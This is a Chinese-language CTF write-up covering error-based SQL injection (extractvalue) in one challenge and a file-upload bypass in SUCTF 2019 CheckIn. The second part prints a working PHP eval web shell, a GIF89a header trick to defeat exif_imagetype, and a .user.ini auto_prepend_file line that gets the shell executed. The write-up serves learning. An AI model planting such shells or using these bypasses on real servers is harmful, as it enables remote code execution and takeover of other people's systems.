web4
首先打开题目,
显示要我们登陆账户
于是尝试用万能密码

结果出现了

然后采用order by和union,还有堆叠注入
发现都出现了上述情况,说明被屏蔽了。
于是想起来还有报错注入,于是查资料并且采用报错注入
首先尝试extractvalue看是否能行

发现成功爆出库的名字了。
于是尝试继续注入

爆出了列的名字
然后在爆

然后继续

发现只有一半flag,并且发现只能显示31位
然后用left和right来爆


然后找相同点发现 flag应当是flag{f378ebde-c44c-4b1b-b51a-a0f81595e93d}
知识:
[SUCTF 2019]CheckIn
首先打开题目

然后上传一个phtml类型的木马
<script language="php">eval($_POST['cmd']);</script>

然后上传失败了,于是我尝试把名字改成jpg

还是不行,因为这里调用了exif_imagetype函数来判断内容是否为图片
于是我在前面加个GIF89a来欺骗

但是上传的jpg文件,所以没法直接执行代码需要上传一个.user.ini
GIF89a
auto_prepend_file=1.jpg
然后就采用蚁剑

知识:
那么什么是.user.ini?
这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看:PHP: php.ini 配置选项列表 - Manual 这几种模式有什么区别?看看官方的解释:
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

浙公网安备 33010602011771号